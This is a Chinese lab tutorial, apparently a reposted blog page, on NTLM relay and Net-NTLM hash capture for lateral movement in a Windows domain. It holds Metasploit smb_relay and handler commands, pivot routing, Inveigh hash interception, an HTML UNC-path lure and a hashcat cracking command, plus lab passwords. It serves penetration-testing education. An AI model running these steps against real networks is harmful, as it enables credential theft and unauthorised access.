内网安全：NTLM-Relay

目录

NTLM认证过程以及攻击面

NTLM Relay攻击

NTLM攻击总结

实验环境说明

域横向移动：NTLM中继攻击

攻击条件

实战一：NTLM中继攻击-CS转发上线MSF

原理示意图

一. CS代理转发

二. MSF架设路由

三. 适用smb_relay模块进行中继攻击

域横向移动：Net NTLM Hash劫持破解

一. 监听拦截

二. 触发拦截

三. 破解密钥

补充：这种方式不仅可以适用smb协议，还可以走其他的

NTLM认证过程以及攻击面

非域中

  1. 当客户端需要访问服务器时，客户端需要输入服务器的用户名和密码进行验证，并且客户端会将服务器的NTLM-Hash值缓存。之后客户端开始向服务器发送 TYPE 1 Negotiate 协商消息。
  2. 服务器收到客户端发送来的 TYPE 1 协商消息后，会取出其中自己能够接受的内容，传入NTLM SSP，得到 TYPE 2 挑战消息，此 TYPE 2消息中包含了一个由服务端生成的16位随机值，被称为 Challenge。服务器将此challenge保存一份后将TYPE 2消息发送回客户端。
  3. 客户端收到服务器发来的TYPE 2消息后，读出其中的challenge值，用缓存的服务端密码的NTLM-Hash对其进行加密，并与用户名、challenge等一起组合得到 Net-NTLMHash ，最后将 Net-NTLMHash 封装到 TYPE 3 NTLM_AUTH消息中发往服务器。
  4. 服务器在收到 TYPE 3 的消息之后，用自己密码的 NTLM-Hash 对 Challenge 进行加密，并比较自己计算出的 Net NTLM-Hash 认证消息和客户端发送的认证消息是否匹配。如果匹配，则证明客户端掌握了正确的密码，认证成功，否则认证失败。

域中，在第4步有所不同，如果是在域环境中，那么认证过程会经过域控制器：

  1. 当客户端需要访问服务器时，客户端需要输入服务器的用户名和密码进行验证，并且客户端会将服务器的NTLM-Hash值缓存。之后客户端开始向服务器发送 TYPE 1 Negotiate 协商消息。
  2. 服务器收到客户端发送来的 TYPE 1 协商消息后，会取出其中自己能够接受的内容，传入NTLM SSP，得到 TYPE 2 挑战消息，此 TYPE 2消息中包含了一个由服务端生成的16位随机值，被称为 Challenge。服务器将此challenge保存一份后将TYPE 2消息发送回客户端。
  3. 客户端收到服务器发来的TYPE 2消息后，读出其中的challenge值，用缓存的服务端密码的NTLM-Hash对其进行加密，并与用户名、challenge等一起组合得到 Net-NTLMHash ，最后将 Net-NTLMHash 封装到 TYPE 3 NTLM_AUTH消息中发往服务器。
  4. 服务器接收到客户端发送来的 TYPE 3 消息后，取出其中的Net NTLM-Hash值，并向域控制器发送针对客户端的验证请求。该请求的内容包含：用户名、原始的 Challenge 和 加密后的Challenge(也就是Net NTLM-Hash)。
  5. DC根据用户名取出该帐号的密码哈希值 NTLM-Hash，用密码哈希值 NTLM-Hash 对原始的Challenge进行加密得到Net NTLM-Hash。如果加密后的Challenge和服务器发送的一致，则意味着用户拥有正确的密码，验证通过，否则验证失败。DC将验证结果发给服务器。

  • 针对NTLM Hash的攻击：PTH，信息收集
  • 针对Net NTLM Hash的攻击：暴力破解明文密码，利用Net-NTLM Hash中继攻击

Pass The Hash：哈希传递攻击，通过抓取主机上的Hash，传递他们进行攻击，不需要明文密码。

利用NTLM进行信息收集：通过CS，命令就可以达到目的，没有意义。

Net-NTLM Hash破解，暴力破解得到明文密码

NTLM Relay：利用Net-NTLM Hash进行中继攻击

PTH的攻击条件需要NTLM-Hash，而后两种则是通过Net-NTLM Hash进行攻击的

如果计算机的修改过注册表，打过补丁，都有可能造成明文密码，Hash提取不到。我们可以尝试获得Net NTLM Hash进行攻击利用。

NTLM Relay攻击

这种攻击方式可以应用在获取不到明文或HASH时采用的手法，但也要注意手法的必备条件。

Relay攻击要涉及到NTLM认证和Net-NTLM Hash

NTLM Hash：NTLM hash 就是里面加密保存了用户密码的 hash。Windows 中的用户密码被系统加密后保存在 SAM 文件中，如果是域环境则保存在域控的 NTDS.dit 中。

Net NTLM Hash：Net-NTLM Hash 是基于用户密码的NTLM Hash计算出来的，用于在网络环境下 NTLM 认证的 hash。客户端在请求服务时需要的NTLM Hash是服务端密码，Net NTLM Hash的生成需要服务端密码的NTLM Hash和challenge，用户名得到的。

NTLM攻击总结

有NTLM Hash，直接PTH；没有NTLM Hash，尝试抓取Net NTLM Hash，暴力破解明文密码，中继攻击。

实验环境说明

DC：192.168.3.21      

        本地管理员：administrator Admin12345

        域账户：god/administrator Admin12345

SQLserver：192.168.3.32

        本地管理员：administrator admin!@#45

        域账户：god/dbadmin admin!@#45

Mary-PC：192.168.3.25

        本地管理员：administrator admin!@#45

        域账户：god/mary admin!@#45

webserver：192.168.3.31    192.168.46.128（出网）

        本地管理员：administrator admin!@#45

        域账户：god/webadmin admin!@#45

Kali：架设MSF 192.168.46.166

46网段是出网的，3网段是内网。

域横向移动：NTLM中继攻击

一句换概括：拿已控制主机的本地管理员的NTLM Hash进行赌狗行为碰撞别的主机进行登录。

一般不会拿域账户的NTLM Hash，因为没有意义，权限太低。

攻击条件

在内网一台计算机上执行下面这条命令，会发生什么事情？此时该主机是管理员登录

dir \\192.168.3.21\c$
dir \\192.168.3.32\c$

这时通过SMB协议访问对方主机的C盘，这是一个访问对方主机服务的过程，是需要NTLM验证的，这里这台主机实际上并没有192.168.3.21的NTLM Hash或者密码的，在内存中会加载已有的NTLM Hash，也就是自己的(该命令会默认拿自己的)，用这一套NTLM Hash去做NTLM认证。

一般来说是会失败的，但是这里却成功了。访问192.168.3.32失败，下面的却成功了。

也就是说该计算机的NTLM Hash和192.168.3.32主机的NTLM Hash是一样的。

这个Net NTLM Hash中继攻击本质就是利用自己计算机的NTLM Hash（或者说账号密码）进行碰撞，因为这台机器虽然我们拿到了权限，但是NTLM Hash窃取不到，尝试通过这种赌博行为攻击其它主机。

在实验环境中，用webserver这台主机的管理员账号密码是可以配置所有主机并成功的。

实战一：NTLM中继攻击-CS转发上线MSF

首先是获得了一台主机webserver的权限

原理示意图

CS做权限移交，利用MSF进行渗透，CS上每次功能

MSF做一个转发工作，配置转发对象

攻击原理：用已经拿下权限的主机利用administrator权限去比对任意域内主机，比对成功就可以访问登录对方主机，就可以直接上线MSF拿到对象的administrator权限

一. CS代理转发

转发到内网的一台Kali上，上面架设有MSF，实际环境也可，转发外网。

配置监听器，CS流量转发MSF 192.168.46.166（出网）2222端口

 转发这个监听器

spawn l-msf

二. MSF架设路由

MSF监听，上线

use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 0.0.0.0
set lport 2222
run

添加路由

run autoroute -p //查看当前路由表
run post/multi/manage/autoroute //添加当前路由表
backgroup //返回

MSF可以攻击到内网3网段

三. 适用smb_relay模块进行中继攻击

设置攻击目标为192.168.3.32

重发模块：

use exploit/windows/smb/smb_relay
set smbhost 192.168.3.32 //转发攻击目标
set lhost 192.168.46.166   //设置本地IP
set autorunscript post/windows/manage/migrate

建立正向连接

set payload windows/meterpreter/bind_tcp
set rhost 192.168.3.32 //设置连接目标
run

这里是一个system权限，我们需要的administrator权限，降权

CS降权

查看进程

记录下pid，通过system进行令牌窃取，权限降为administrator

MSF降权

get uid
ps

在CS上执行命令

shell dir \\192.168.46.166\c$

 这条命令会被MSF中继模块再次进行转发，相当于是192.168.3.31对192.168.3.32发起请求

dir \\192.168.3.32\c$

也可以在MSF上执行，Meterpreter上输出shell,弹出192.168.3.31的cmd

攻击成功，192.168.3.32上线MSF

192.168.3.32上线MSF，因为采用的是正向连接，也就是192.168.3.31正向连接192.168.3.32

上线！！！

域横向移动：Net NTLM Hash劫持破解

条件：被控主机当前管理员权限

因为下面是利用工具，所以需要足够的运行权限

项目地址：https://github.com/Kevin-Robertson/Inveigh

这里是诱导域内主机访问我们这台已经拿下权限的主机192.168.3.31，对方会把自己的Hash发给我们，直接拦截下来，Net NTLM Hash被捕捉，只要是访问192.168.3.31，就会被拿下Hash，这Hash可能是域控的，本地管理员的，域用户的

一. 监听拦截

上传程序到对方主机，或者挂代理（不推荐）程序本身就不大，避免数据丢失

工具放在192.168.3.31被控主机上执行

Inveigh.exe

获取到的是NET NTLM HASH V1或V2

二. 触发拦截

令别的主机dir webserver，这里是拿域控的主机进行演示

dir \\192.168.3.31\c$

拦截到Hash 

会保存在当前目录

这个一般是要配合钓鱼，和前面的Exchange服务利用进行结合

<!DOCTYPE html>
<html>
<head>
  <title></title>
</head>
<body>
  <img src="file:///\\192.168.3.32\2">
</body>
</html>

三. 破解密钥

破解域控的Hash，得到域控的明文密码

hashcat -m 5600 hash pass.txt --show

得到域控用户的Hash明文 Admin12345

补充：这种方式不仅可以适用smb协议，还可以走其他的

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：/a/355301.html

如若内容造成侵权/违法违规/事实不符，请联系我们进行投诉反馈qq邮箱809451989@qq.com，一经查实，立即删除！

相关文章

《HTML 简易速速上手小册》第2章：HTML 的标签和元素（2024 最新版）

《HTML 简易速速上手小册》第2章：HTML 的标签和元素（2024 最新版）

文章目录 2.1 文本格式化标签&#xff08;&#x1f3a9;✨&#x1f4dc; 网页的“时尚搭配师”&#xff09;2.1.1 基础示例&#xff1a;一篇博客的格式化2.1.2 案例扩展一&#xff1a;产品介绍页面2.1.3 案例扩展二&#xff1a;个人简历 2.2 链接和锚点&#xff08;&#x1f6a…
阅读更多...
案例分析技巧-软件工程

案例分析技巧-软件工程

一、考试情况 需求分析&#xff08;※※※※&#xff09;面向对象设计&#xff08;※※&#xff09; 二、结构化需求分析 数据流图 数据流图的平衡原则 数据流图的答题技巧 利用数据平衡原则&#xff0c;比如顶层图的输入输出应与0层图一致补充实体 人物角色&#xff1a;客户、…
阅读更多...
初识K8S（Kubernetes ）

初识K8S（Kubernetes ）

一、概述 Kubernetes 是一个可移植、可扩展的开源平台&#xff0c;用于管理容器化的工作负载和服务&#xff0c;可促进声明式配置和自动化。 Kubernetes 拥有一个庞大且快速增长的生态&#xff0c;其服务、支持和工具的使用范围相当广泛。&#xff08;官网&#xff09; Kuberne…
阅读更多...
Navicat连接Oracle时报错ORA-28547：完美解决

Navicat连接Oracle时报错ORA-28547：完美解决

先用你的IDEA或者别人的连接到oracle数据库&#xff08;为了查询版本&#xff09; 查询版本SQL&#xff1a;select * from v$version; 引入对应的oci.dll文件 链接&#xff1a;https://pan.baidu.com/s/1volkj328Ttm-Mt0Grt1X4g 提取码&#xff1a;3d5f 进行下载 在Navicat配…
阅读更多...
类和对象 第五部分第三小节：递增运算符重载

类和对象 第五部分第三小节：递增运算符重载

作用&#xff1a;通过重载递增运算符&#xff0c;实现自己的整型数据递增 代码案例 1.重载前置运算符 #include <iostream> #include <string> using namespace std;class MyInteger {friend ostream& operator<<(ostream& out, const MyInteger&…
阅读更多...
【详解】贪吃蛇游戏----下篇（完整源码）

【详解】贪吃蛇游戏----下篇（完整源码）

目录 引入&#xff1a; 本片文章目的&#xff1a; 整个游戏的实现流程图如下&#xff1a; 游戏实现 GameRun PrintHelpInfo Pause NextIsFood printSnake EatFood NoFood KillByWall KillBySelf GameRun GameEnd 总代码&#xff1a; &#xff08;1&#xff09…
阅读更多...
Nestjs 全局拦截器

Nestjs 全局拦截器

一、拦截器 拦截器作用&#xff1a; 在函数执行之前、之后绑定额外的逻辑转换函数的返回结果转换从函数抛出的异常扩展基本函数的行为根据所选条件重写函数 期望接口返回一个标准的json格式&#xff0c;利用拦截器对数据做全局的格式化 {code: "200",data: [],mess…
阅读更多...
Go map 读写性能优化 - 分片 map

Go map 读写性能优化 - 分片 map

基本在所有的编程语言中&#xff0c;都有 map 这种数据结构&#xff0c;Go 语言也不例外。 我们知道 Go 是一门对并发支持得比较好的语言&#xff0c;但是 map 并不支持并发读写。 比如&#xff0c;下面这种写法是错误的&#xff1a; var m make(map[int]int) var wg sync.Wa…
阅读更多...
GIS应用水平考试一级—2009 年度第二次

GIS应用水平考试一级—2009 年度第二次

全国信息化工程师——GIS应用水平考试 2009 年度第二次全国统一考试一级 试卷说明: 1、本试卷共9页,6个大题,满分150 分,150 分钟完卷。 2、考试方式为闭卷考试。 3、将第一、二、三題的答案用铅笔涂写到(NCIE-GIS)答题卡上。 4、将第四、五、六题的答案填写到主观题答题卡上…
阅读更多...
通俗易懂理解MobileNet网络模型

通俗易懂理解MobileNet网络模型

温故而知新&#xff0c;可以为师矣&#xff01; 一、参考资料 详细且通俗讲解轻量级神经网络——MobileNets【V1、V2、V3】 MobileNet v1 和 MobileNet v2 二、MobileNet v1 原始论文&#xff1a;[1] MobileNet网络详解 【深度学习】轻量化CNN网络MobileNet系列详解 Mo…
阅读更多...
ThreadLocal学习笔记

ThreadLocal学习笔记

ThreadLocal类图 ThreadLocal/InheritableThreadLocal/ \TransmittableThreadLocal(阿里巴巴) TransmissibleThreadLocal(阿里巴巴)ThreadLocal 这是Thread类的局部变量&#xff0c;每个线程私有。 它主要用于解决多线程中的数据共享问题&#xff0c;保…
阅读更多...
Dubbo框架注册中心-Zookeeper搭建

Dubbo框架注册中心-Zookeeper搭建

Dubbo 是阿里巴巴公司开源的高性能、轻量级的Java RPC框架&#xff0c;致力于提供高性能。 Dubbo官网 本篇开始dubbo的第一篇&#xff0c;注册中心 ZooKeeper 环境搭建。 环境前置&#xff1a;由于Zookeeper是基于Java环境&#xff0c;必须安装有JDK。查看命令 java -version。…
阅读更多...
【Redis】Redis有哪些适合的场景

【Redis】Redis有哪些适合的场景

&#x1f34e;个人博客&#xff1a;个人主页 &#x1f3c6;个人专栏&#xff1a;Redis ⛳️ 功不唐捐&#xff0c;玉汝于成 目录 前言 正文 &#xff08;1&#xff09;会话缓存&#xff08;Session Cache&#xff09; &#xff08;2&#xff09;全页缓存&#xff08;FPC…
阅读更多...
Element-Plus如何实现表单校验和表单重置

Element-Plus如何实现表单校验和表单重置

一&#xff1a;页面布局介绍&#xff1a; 这是我刚刚用基于vue3element-plus写好的一个部门管理的页面 基本的增删改查已经写好&#xff0c;下面我只提供页面的template和style的代码&#xff1a; template <template><el-card class"box-card"><…
阅读更多...
【Javaweb程序设计】【C00165】基于SSM的高考志愿辅助填报系统（论文+PPT）

【Javaweb程序设计】【C00165】基于SSM的高考志愿辅助填报系统（论文+PPT）

基于SSM的高考志愿辅助填报系统&#xff08;论文PPT&#xff09; 项目简介项目获取开发环境项目技术运行截图 项目简介 这是一个基于ssm的高考志愿辅助填报系统 本系统分为前台系统模块、后台管理员模块以及后台学生模块 前台系统模块&#xff1a;当游客打开系统的网址后&…
阅读更多...
CMMI、SPCA、CSMM，三种认证的差异有哪些？

CMMI、SPCA、CSMM，三种认证的差异有哪些？

在当今的企业环境中&#xff0c;体系认证已经成为了一个重要的议题。其中&#xff0c;CMMI、SPCA和CSMM是三种广泛使用的认证&#xff0c;它们在各自领域内具有特定的目标和要求&#xff0c;今天擎标就带大家了解一下这三种认证之间的差异。 CMMI、CSMM和SPCA分别是什么 1、C…
阅读更多...
[BUUCTF]-PWN:pwnable_hacknote解析

[BUUCTF]-PWN:pwnable_hacknote解析

先看保护 32位&#xff0c;没开pie&#xff0c;got表可修改 看ida 总的来说就是alloc创建堆块&#xff0c;free释放堆块&#xff0c;show打印堆块内容 但alloc处的函数比较特别&#xff0c;他会先申请一个0x8大小的堆来存放与puts相关的指针 完整exp&#xff1a; from pwn …
阅读更多...
Qt6入门教程 13：QPushButton

Qt6入门教程 13：QPushButton

目录 一.QPushButton 1.多选 2.互斥 3.设置菜单 4.图标按钮 4.1给按钮添加图标 4.2异形按钮 二.设置Qt样式表 一.QPushButton QPushButton是与QAbstractButton最接近的完全体按钮&#xff0c;它具备QAbstractButton的所有特性&#xff0c;并且支持设置菜单。 1.多选 …
阅读更多...
【GAMES101】Lecture 09 纹理贴图 点查询与范围查询 Mipmap

【GAMES101】Lecture 09 纹理贴图 点查询与范围查询 Mipmap

目录 纹理贴图 纹理放大-双线性插值 点采样纹理所带来的问题 Mipmap 各向异性过滤 纹理贴图 我们在之前的着色里面说过如何给物体上纹理&#xff0c;就是对于已经光栅化的屏幕点&#xff0c;就是每个像素的中心&#xff0c;去寻找对应纹理的映射位置的纹理颜色&#xff0…
阅读更多...
代码随想录刷题笔记-Day13

代码随想录刷题笔记-Day13

1. 二叉树的层序遍历 102. 二叉树的层序遍历https://leetcode.cn/problems/binary-tree-level-order-traversal/层次遍历依靠队列的先进先出特点实现。 解题思路 层序遍历的本质就是对每一个pop出来的处理节点&#xff0c;处理后把他的左右节点放进去。 对于每一层来说&…
阅读更多...
最新文章

Copyright @ 2022~2023